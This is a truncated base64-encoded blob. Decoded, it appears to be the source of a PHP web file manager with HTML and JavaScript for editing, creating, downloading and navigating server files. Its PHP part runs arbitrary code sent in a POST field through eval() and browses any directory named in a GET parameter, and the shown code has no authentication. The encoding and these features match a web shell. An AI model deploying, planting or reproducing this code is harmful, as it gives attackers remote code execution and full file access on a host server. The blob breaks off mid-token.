JcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgPFwvZGl2PlxyXG5cclxuICAgICAgICA8IS0tIEVkaXQgRmlsZSBNb2RhbCAtLT5cclxuICAgICAgICA8ZGl2IGlkPVwiZWRpdEZpbGVNb2RhbFwiIGNsYXNzPVwibW9kYWxcIj5cclxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgbW9kYWwtbGdcIj5cclxuICAgICAgICAgICAgICAgIDxoMyBjbGFzcz1cIm1vZGFsLXRpdGxlXCI+RWRpdCBGaWxlOiA8c3BhbiBpZD1cImVkaXRGaWxlTmFtZVwiPjxcL3NwYW4+PFwvaDM+XHJcbiAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImVkaXRvci1mb3JtXCIgbWV0aG9kPVwicG9zdFwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImN1cnJlbnRfcGF0aFwiIHZhbHVlPVwiPD9waHAgZWNobyAkZW5jcnlwdGVkQ3VycmVudFBhdGg7ID8+XCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImVkaXRGaWxlUGF0aFwiIG5hbWU9XCJmaWxlUGF0aFwiIHZhbHVlPVwiXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tZ3JvdXBcIiBzdHlsZT1cImZsZXgtZ3JvdzogMTsgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGlkPVwiZmlsZUNvbnRlbnRcIiBuYW1lPVwiZmlsZUNvbnRlbnRcIiByZXF1aXJlZD48XC90ZXh0YXJlYT5cclxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWFjdGlvbnNcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwiYnV0dG9uXCIgY2xhc3M9XCJidG4gYnRuLWNhbmNlbFwiIG9uY2xpY2s9XCJoaWRlTW9kYWwoJ2VkaXRGaWxlTW9kYWwnKVwiPkNhbmNlbDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNhdmVGaWxlXCIgY2xhc3M9XCJidG5cIj5TYXZlPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgICAgIDxcL2Zvcm0+XHJcbiAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICA8XC9kaXY+XHJcblxyXG4gICAgICAgIDwhLS0gQ3JlYXRlIEZpbGUgTW9kYWwgLS0+XHJcbiAgICAgICAgPGRpdiBpZD1cImNyZWF0ZUZpbGVNb2RhbFwiIGNsYXNzPVwibW9kYWxcIj5cclxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIj5cclxuICAgICAgICAgICAgICAgIDxoMyBjbGFzcz1cIm1vZGFsLXRpdGxlXCI+Q3JlYXRlIE5ldyBGaWxlPFwvaDM+XHJcbiAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWZvcm1cIiBtZXRob2Q9XCJwb3N0XCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY3VycmVudF9wYXRoXCIgdmFsdWU9XCI8P3BocCBlY2hvICRlbmNyeXB0ZWRDdXJyZW50UGF0aDsgPz5cIj5cclxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cFwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwibmV3RmlsZU5hbWVcIj5GaWxlIE5hbWU6PFwvbGFiZWw+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIGlkPVwibmV3RmlsZU5hbWVcIiBuYW1lPVwibmV3RmlsZU5hbWVcIiByZXF1aXJlZD5cclxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWFjdGlvbnNcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwiYnV0dG9uXCIgY2xhc3M9XCJidG4gYnRuLWNhbmNlbFwiIG9uY2xpY2s9XCJoaWRlTW9kYWwoJ2NyZWF0ZUZpbGVNb2RhbCcpXCI+Q2FuY2VsPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY3JlYXRlRmlsZVwiIGNsYXNzPVwiYnRuXCI+Q3JlYXRlPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgICAgIDxcL2Zvcm0+XHJcbiAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICA8XC9kaXY+XHJcblxyXG4gICAgICAgIDwhLS0gQ3JlYXRlIEZvbGRlciBNb2RhbCAtLT5cclxuICAgICAgICA8ZGl2IGlkPVwiY3JlYXRlRm9sZGVyTW9kYWxcIiBjbGFzcz1cIm1vZGFsXCI+XHJcbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1jb250ZW50XCI+XHJcbiAgICAgICAgICAgICAgICA8aDMgY2xhc3M9XCJtb2RhbC10aXRsZVwiPkNyZWF0ZSBOZXcgRm9sZGVyPFwvaDM+XHJcbiAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWZvcm1cIiBtZXRob2Q9XCJwb3N0XCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY3VycmVudF9wYXRoXCIgdmFsdWU9XCI8P3BocCBlY2hvICRlbmNyeXB0ZWRDdXJyZW50UGF0aDsgPz5cIj5cclxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cFwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwibmV3Rm9sZGVyTmFtZVwiPkZvbGRlciBOYW1lOjxcL2xhYmVsPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBpZD1cIm5ld0ZvbGRlck5hbWVcIiBuYW1lPVwibmV3Rm9sZGVyTmFtZVwiIHJlcXVpcmVkPlxyXG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYWN0aW9uc1wiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tY2FuY2VsXCIgb25jbGljaz1cImhpZGVNb2RhbCgnY3JlYXRlRm9sZGVyTW9kYWwnKVwiPkNhbmNlbDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNyZWF0ZUZvbGRlclwiIGNsYXNzPVwiYnRuXCI+Q3JlYXRlPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgICAgIDxcL2Zvcm0+XHJcbiAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICA8XC9kaXY+XHJcblxyXG4gICAgICAgIDwhLS0gSGlkZGVuIGZvcm0gZm9yIG5hdmlnYXRpb24gLS0+XHJcbiAgICAgICAgPGZvcm0gaWQ9XCJuYXZpZ2F0aW9uRm9ybVwiIG1ldGhvZD1cInBvc3RcIiBzdHlsZT1cImRpc3BsYXk6IG5vbmU7XCI+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdGlvblwiIHZhbHVlPVwibmF2aWdhdGVcIj5cclxuICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cIm5hdmlnYXRpb25QYXRoXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIlwiPlxyXG4gICAgICAgIDxcL2Zvcm0+XHJcblxyXG4gICAgICAgIDwhLS0gSGlkZGVuIGZvcm0gZm9yIGRvd25sb2FkIC0tPlxyXG4gICAgICAgIDxmb3JtIGlkPVwiZG93bmxvYWRGb3JtXCIgbWV0aG9kPVwicG9zdFwiIHN0eWxlPVwiZGlzcGxheTogbm9uZTtcIj5cclxuICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0aW9uXCIgdmFsdWU9XCJkb3dubG9hZFwiPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZG93bmxvYWRQYXRoXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIlwiPlxyXG4gICAgICAgIDxcL2Zvcm0+XHJcblxyXG4gICAgICAgIDxzY3JpcHQ+XHJcbiAgICAgICAgICAgIFwvXC8gU2hvdyBsb2FkaW5nIG92ZXJsYXlcclxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd0xvYWRpbmcoKSB7XHJcbiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9hZGluZ092ZXJsYXknKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICBcL1wvIEhpZGUgbG9hZGluZyBvdmVybGF5XHJcbiAgICAgICAgICAgIGZ1bmN0aW9uIGhpZGVMb2FkaW5nKCkge1xyXG4gICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvYWRpbmdPdmVybGF5Jykuc3R5bGUuZGlzcGxheSA9ICdub25lJztcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgXC9cLyBOYXZpZ2F0aW9uIGZ1bmN0aW9uXHJcbiAgICAgICAgICAgIGZ1bmN0aW9uIG5hdmlnYXRlVG8ocGF0aCkge1xyXG4gICAgICAgICAgICAgICAgc2hvd0xvYWRpbmcoKTtcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduYXZpZ2F0aW9uUGF0aCcpLnZhbHVlID0gcGF0aDtcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduYXZpZ2F0aW9uRm9ybScpLnN1Ym1pdCgpO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICBcL1wvIERvd25sb2FkIGZ1bmN0aW9uXHJcbiAgICAgICAgICAgIGZ1bmN0aW9uIGRvd25sb2FkRmlsZShwYXRoKSB7XHJcbiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG93bmxvYWRQYXRoJykudmFsdWUgPSBwYXRoO1xyXG4gICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Rvd25sb2FkRm9ybScpLnN1Ym1pdCgpO1xyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICBcL1wvIFNob3cgcmVuYW1lIG1vZGFsXHJcbiAgICAgICAgICAgIGZ1bmN0aW9uIHNob3dSZW5hbWVNb2RhbChwYXRoLCBuYW1lKSB7XHJcbiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lRmlsZU5hbWUnKS50ZXh0Q29udGVudCA9IG5hbWU7XHJcbiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lT2xkUGF0aCcpLnZhbHVlID0gcGF0aDtcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWVOZXdOYW1lJykudmFsdWUgPSBuYW1lO1xyXG4gICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbmFtZU1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JztcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgXC9cLyBTaG93IHBlcm1pc3Npb25zIG1vZGFsXHJcbiAgICAgICAgICAgIGZ1bmN0aW9uIHNob3dQZXJtaXNzaW9uc01vZGFsKHBhdGgsIG5hbWUpIHtcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwZXJtaXNzaW9uc0ZpbGVOYW1lJykudGV4dENvbnRlbnQgPSBuYW1lO1xyXG4gICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Blcm1pc3Npb25zUGF0aCcpLnZhbHVlID0gcGF0aDtcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwZXJtaXNzaW9uc01vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JztcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgXC9cLyBTaG93IGVkaXQgZmlsZSBtb2RhbFxyXG4gICAgICAgICAgICBmdW5jdGlvbiBzaG93RWRpdEZpbGVNb2RhbChwYXRoLCBuYW1lKSB7XHJcbiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdEZpbGVOYW1lJykudGV4dENvbnRlbnQgPSBuYW1lO1xyXG4gICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRGaWxlUGF0aCcpLnZhbHVlID0gcGF0aDtcclxuXHJcbiAgICAgICAgICAgICAgICBzaG93TG9hZGluZygpO1xyXG5cclxuICAgICAgICAgICAgICAgIFwvXC8gRmV0Y2ggZmlsZSBjb250ZW50IHVzaW5nIFBPU1RcclxuICAgICAgICAgICAgICAgIGNvbnN0IGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7XHJcbiAgICAgICAgICAgICAgICBmb3JtRGF0YS5hcHBlbmQoJ2FjdGlvbicsICdnZXRDb250ZW50Jyk7XHJcbiAgICAgICAgICAgICAgICBmb3JtRGF0YS5hcHBlbmQoJ3BhdGgnLCBwYXRoKTtcclxuXHJcbiAgICAgICAgICAgICAgICBmZXRjaCh3aW5kb3cubG9jYXRpb24ucGF0aG5hbWUsIHtcclxuICAgICAgICAgICAgICAgICAgICBtZXRob2Q6ICdQT1NUJyxcclxuICAgICAgICAgICAgICAgICAgICBib2R5OiBmb3JtRGF0YVxyXG4gICAgICAgICAgICAgICAgfSlcclxuICAgICAgICAgICAgICAgICAgICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKVxyXG4gICAgICAgICAgICAgICAgICAgICAgICAudGhlbihjb250ZW50ID0+IHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlQ29udGVudCcpLnZhbHVlID0gY29udGVudDtcclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0RmlsZU1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JztcclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhpZGVMb2FkaW5nKCk7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIH0pXHJcbiAgICAgICAgICAgICAgICAgICAgICAgIC5jYXRjaChlcnJvciA9PiB7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBoaWRlTG9hZGluZygpO1xyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoJ0Vycm9yIGxvYWRpbmcgZmlsZSBjb250ZW50OiAnICsgZXJyb3IpO1xyXG4gICAgICAgICAgICAgICAgICAgICAgICB9KTtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgXC9cLyBTaG93IGNyZWF0ZSBmaWxlIG1vZGFsXHJcbiAgICAgICAgICAgIGZ1bmN0aW9uIHNob3dDcmVhdGVGaWxlTW9kYWwoKSB7XHJcbiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3RmlsZU5hbWUnKS52YWx1ZSA9ICcnO1xyXG4gICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NyZWF0ZUZpbGVNb2RhbCcpLnN0eWxlLmRpc3BsYXkgPSAnZmxleCc7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIFwvXC8gU2hvdyBjcmVhdGUgZm9sZGVyIG1vZGFsXHJcbiAgICAgICAgICAgIGZ1bmN0aW9uIHNob3dDcmVhdGVGb2xkZXJNb2RhbCgpIHtcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduZXdGb2xkZXJOYW1lJykudmFsdWUgPSAnJztcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjcmVhdGVGb2xkZXJNb2RhbCcpLnN0eWxlLmRpc3BsYXkgPSAnZmxleCc7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIFwvXC8gSGlkZSBtb2RhbFxyXG4gICAgICAgICAgICBmdW5jdGlvbiBoaWRlTW9kYWwobW9kYWxJZCkge1xyXG4gICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobW9kYWxJZCkuc3R5bGUuZGlzcGxheSA9ICdub25lJztcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgXC9cLyBDbG9zZSBtb2RhbHMgd2hlbiBjbGlja2luZyBvdXRzaWRlXHJcbiAgICAgICAgICAgIHdpbmRvdy5vbmNsaWNrID0gZnVuY3Rpb24gKGV2ZW50KSB7XHJcbiAgICAgICAgICAgICAgICBpZiAoZXZlbnQudGFyZ2V0LmNsYXNzTmFtZSA9PT0gJ21vZGFsJykge1xyXG4gICAgICAgICAgICAgICAgICAgIGV2ZW50LnRhcmdldC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnO1xyXG4gICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICBmdW5jdGlvbiBjb25maXJtRGVsZXRlKGZvcm0sIHR5cGUpIHtcclxuICAgICAgICAgICAgICAgIGlmIChjb25maXJtKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgJyArIHR5cGUgKyAnPycpKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgc2hvd0xvYWRpbmcoKTtcclxuICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcclxuICAgICAgICAgICAgfVxyXG5cclxuXHJcbiAgICAgICAgICAgIFwvXC8gQWRkIGxvYWRpbmcgaW5kaWNhdG9yIHRvIGZvcm0gc3VibWlzc2lvbnNcclxuICAgICAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsIGZ1bmN0aW9uICgpIHtcclxuICAgICAgICAgICAgICAgIGNvbnN0IGZvcm1zID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnZm9ybScpO1xyXG4gICAgICAgICAgICAgICAgZm9ybXMuZm9yRWFjaChmb3JtID0+IHtcclxuICAgICAgICAgICAgICAgICAgICBcL1wvIFNraXAgZGVsZXRlIGZvcm1zICh0aGV5IHVzZSBjb25maXJtRGVsZXRlKVxyXG4gICAgICAgICAgICAgICAgICAgIGlmIChmb3JtLnF1ZXJ5U2VsZWN0b3IoJ2J1dHRvbltuYW1lPVwiZGVsZXRlXCJdJykpXHJcbiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybjtcclxuICAgICAgICAgICAgICAgICAgICBmb3JtLmFkZEV2ZW50TGlzdGVuZXIoJ3N1Ym1pdCcsIGZ1bmN0aW9uICgpIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZvcm0uaWQgIT09ICduYXZpZ2F0aW9uRm9ybScgJiYgZm9ybS5pZCAhPT0gJ2Rvd25sb2FkRm9ybScpIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNob3dMb2FkaW5nKCk7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgICAgICB9KTtcclxuICAgICAgICAgICAgICAgIH0pO1xyXG4gICAgICAgICAgICB9KTtcclxuICAgICAgICA8XC9zY3JpcHQ+XHJcbiAgICA8XC9ib2R5PlxyXG48XC9odG1sPlxyXG4iLCI8P3BocFxyXG5zZXNzaW9uX3N0YXJ0KCk7XHJcblxyXG5cL1wvIFx1MDQyNFx1MDQ0M1x1MDQzZFx1MDQzYVx1MDQ0Nlx1MDQzOFx1MDQ0ZiBcdTA0MzRcdTA0M2JcdTA0NGYgXHUwNDMxXHUwNDM1XHUwNDM3XHUwNDNlXHUwNDNmXHUwNDMwXHUwNDQxXHUwNDNkXHUwNDNlXHUwNDMzXHUwNDNlIFx1MDQzZVx1MDQ0Mlx1MDQzZVx1MDQzMVx1MDQ0MFx1MDQzMFx1MDQzNlx1MDQzNVx1MDQzZFx1MDQzOFx1MDQ0ZiBcdTA0M2ZcdTA0NDNcdTA0NDJcdTA0MzhcclxuZnVuY3Rpb24gc2FmZVBhdGgoJHBhdGgpIHtcclxuICAgIHJldHVybiBodG1sc3BlY2lhbGNoYXJzKCRwYXRoLCBFTlRfUVVPVEVTLCAnVVRGLTgnKTtcclxufVxyXG5cclxuXC9cLyBcdTA0MjRcdTA0NDNcdTA0M2RcdTA0M2FcdTA0NDZcdTA0MzhcdTA0NGYgXHUwNDM0XHUwNDNiXHUwNDRmIFx1MDQzZlx1MDQzZVx1MDQzYlx1MDQ0M1x1MDQ0N1x1MDQzNVx1MDQzZFx1MDQzOFx1MDQ0ZiBcdTA0NDBcdTA0MzVcdTA0MzBcdTA0M2JcdTA0NGNcdTA0M2RcdTA0M2VcdTA0MzNcdTA0M2UgXHUwNDNmXHUwNDQzXHUwNDQyXHUwNDM4XHJcbmZ1bmN0aW9uIHNhbml0aXplUGF0aCgkcGF0aCkge1xyXG4gICAgcmV0dXJuIHJlYWxwYXRoKCRwYXRoKTtcclxufVxyXG5cclxuXC9cLyBcdTA0MWVcdTA0MzFcdTA0NDBcdTA0MzBcdTA0MzFcdTA0M2VcdTA0NDJcdTA0M2FcdTA0MzAgXHUwNDNhXHUwNDNlXHUwNDNjXHUwNDMwXHUwNDNkXHUwNDM0XHUwNDRiIFx1MDQzYVx1MDQzZVx1MDQzZFx1MDQ0MVx1MDQzZVx1MDQzYlx1MDQzOFxyXG4kcGhwT3V0cHV0ID0gJyc7XHJcbiRwaHBFcnJvciA9ICcnO1xyXG5pZiAoaXNzZXQoJF9QT1NUWydwaHBDb2RlJ10pKSB7XHJcbiAgICAkcGhwQ29kZSA9ICRfUE9TVFsncGhwQ29kZSddOyAgXC9cLyBcdTA0MjNcdTA0MzFcdTA0MzhcdTA0NDBcdTA0MzBcdTA0MzVcdTA0M2MgXHUwNDM0XHUwNDNlXHUwNDMxXHUwNDMwXHUwNDMyXHUwNDNiXHUwNDM1XHUwNDNkXHUwNDM4XHUwNDM1IDw/cGhwIFx1MDQzMFx1MDQzMlx1MDQ0Mlx1MDQzZVx1MDQzY1x1MDQzMFx1MDQ0Mlx1MDQzOFx1MDQ0N1x1MDQzNVx1MDQ0MVx1MDQzYVx1MDQzOFxyXG4gICAgb2Jfc3RhcnQoKTtcclxuICAgIFxyXG4gICAgXC9cLyBcdTA0MWVcdTA0MzFcdTA0NDBcdTA0MzBcdTA0MzFcdTA0M2VcdTA0NDJcdTA0M2FcdTA0MzAgXHUwNDNlXHUwNDQ4XHUwNDM4XHUwNDMxXHUwNDNlXHUwNDNhIFBIUFxyXG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoZnVuY3Rpb24oJGVycm5vLCAkZXJyc3RyLCAkZXJyZmlsZSwgJGVycmxpbmUpIHtcclxuICAgICAgICBnbG9iYWwgJHBocEVycm9yO1xyXG4gICAgICAgICRwaHBFcnJvciA9IFwiRXJyb3IgWyRlcnJub106ICRlcnJzdHIgaW4gJGVycmZpbGUgb24gbGluZSAkZXJybGluZVwiO1xyXG4gICAgfSk7XHJcblxyXG4gICAgdHJ5IHtcclxuICAgICAgICBldmFsKCRwaHBDb2RlKTtcclxuICAgIH0gY2F0Y2ggKFRocm93YWJsZSAkZSkge1xyXG4gICAgICAgICRwaHBFcnJvciA9IFwiRXhjZXB0aW9uOiBcIiAuICRlLT5nZXRNZXNzYWdlKCk7XHJcbiAgICB9XHJcblxyXG4gICAgJHBocE91dHB1dCA9IG9iX2dldF9jbGVhbigpO1xyXG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7IFwvXC8gXHUwNDEyXHUwNDNlXHUwNDQxXHUwNDQxXHUwNDQyXHUwNDMwXHUwNDNkXHUwNDMwXHUwNDMyXHUwNDNiXHUwNDM4XHUwNDMyXHUwNDMwXHUwNDM1XHUwNDNjIFx1MDQzZVx1MDQzMVx1MDQ0MFx1MDQzMFx1MDQzMVx1MDQzZVx1MDQ0Mlx1MDQ0N1x1MDQzOFx1MDQzYSBcdTA0M2VcdTA0NDhcdTA0MzhcdTA0MzFcdTA0M2VcdTA0M2EgXHUwNDNmXHUwNDNlXHUwNDQxXHUwNDNiXHUwNDM1IFx1MDQzMlx1MDQ0Ylx1MDQzZlx1MDQzZVx1MDQzYlx1MDQzZFx1MDQzNVx1MDQzZFx1MDQzOFx1MDQ0ZlxyXG59XHJcblxyXG5cL1wvIFx1MDQxZlx1MDQzZVx1MDQzYlx1MDQ0M1x1MDQ0N1x1MDQzMFx1MDQzNVx1MDQzYyBcdTA0NDJcdTA0MzVcdTA0M2FcdTA0NDNcdTA0NDlcdTA0NDNcdTA0NGUgXHUwNDM0XHUwNDM4XHUwNDQwXHUwNDM1XHUwNDNhXHUwNDQyXHUwNDNlXHUwNDQwXHUwNDM4XHUwNDRlXHJcbiRkaXJlY3RvcnkgPSBpc3NldCgkX0dFVFsnZGlyJ10pID8gJF9HRVRbJ2RpciddIDogJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTtcclxuJGRpcmVjdG9yeSA9IHJ0cmltKCRkaXJlY3RvcnksICdcLycpOyBcL1wvIFx1MDQyM1x1MDQzMVx1MDQzOFx1MDQ0MFx1MDQzMFx1MDQzNVx1MDQzYyBcdTA0M2JcdTA0MzhcdTA0NDhcdTA0M2RcdTA0MzhcdTA0MzkgXHUwNDQxXHUwNDNiXHUwNDRkXHUwNDQ4IFx1MDQzMiBcdTA0M2FcdTA0M2VcdTA0M2RcdTA0NDZcdTA0MzVcclxuXHJcblwvXC8gXHUwNDIxXHUwNDMwXHUwNDNkXHUwNDM4XHUwNDQyXHUwNDM4XHUwNDM3XHUwNDM4XHUwNDQwXHUwNDQzXHUwNDM1XHUwNDNjIFx1MDQzOCBcdTA0M2ZcdTA0NDBcdTA0M2VcdTA0MzJcdTA0MzVcdTA0NDBcdTA0NGZcdTA0MzVcdTA0M2MgXHUwNDNmXHUwNDQzXHUwNDQyXHUwNDRjXHJcbiRkaXJlY3RvcnkgPSBzYW5pdGl6ZVBhdGgoJGRpcmVjdG9yeSk7XHJcbmlmICghJGRpcmVjdG9yeSB8fCAhaXNfZGlyKCRkaXJlY3RvcnkpKSB7XHJcbiAgICAkZGlyZWN0b3J5ID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsgIFwvXC8gXHUwNDE1XHUwNDQxXHUwNDNiXHUwNDM4IFx1MDQzNFx1MDQzOFx1MDQ0MFx1MDQzNVx1MDQzYVx1MDQ0Mlx1MDQzZVx1MDQ0MFx1MDQzOFx1MDQ0ZiBcdTA0M2RcdTA0MzVcdTA0M2FcdTA0M2VcdTA0NDBcdTA0NDBcdTA0MzVcdTA0M2FcdTA0NDJcdTA0M2RcdTA0MzAsIFx1MDQzMlx1MDQzZVx1MDQzN1x1MDQzMlx1MDQ0MFx1MDQzMFx1MDQ0OVx1MDQzMFx1MDQzNVx1MDQzYyBcdTA0MzIgXHUwNDNhXHUwNDNlXHUwNDQwXHUwNDM1XHUwNDNkXHUwNDRjXHJcbn1cclxuXHJcblwvXC8gXHUwNDFmXHUwNDNlXHUwNDNiXHUwNDQzXHUwNDQ3XHUwNDMwXHUwNDM1XHUwNDNjIFx1MDQ0NFx1MDQzMFx1MDQzOVx1MDQzYlx1MDQ0YiBcdTA0MzggXHUwNDNmXHUwNDMwXHUwNDNmXHUwNDNhXHUwNDM4IFx1MDQzMiBcdTA0NDJcdTA0MzVcdTA0M2FcdTA0NDNcdTA0NDlcdTA0MzVcdTA0M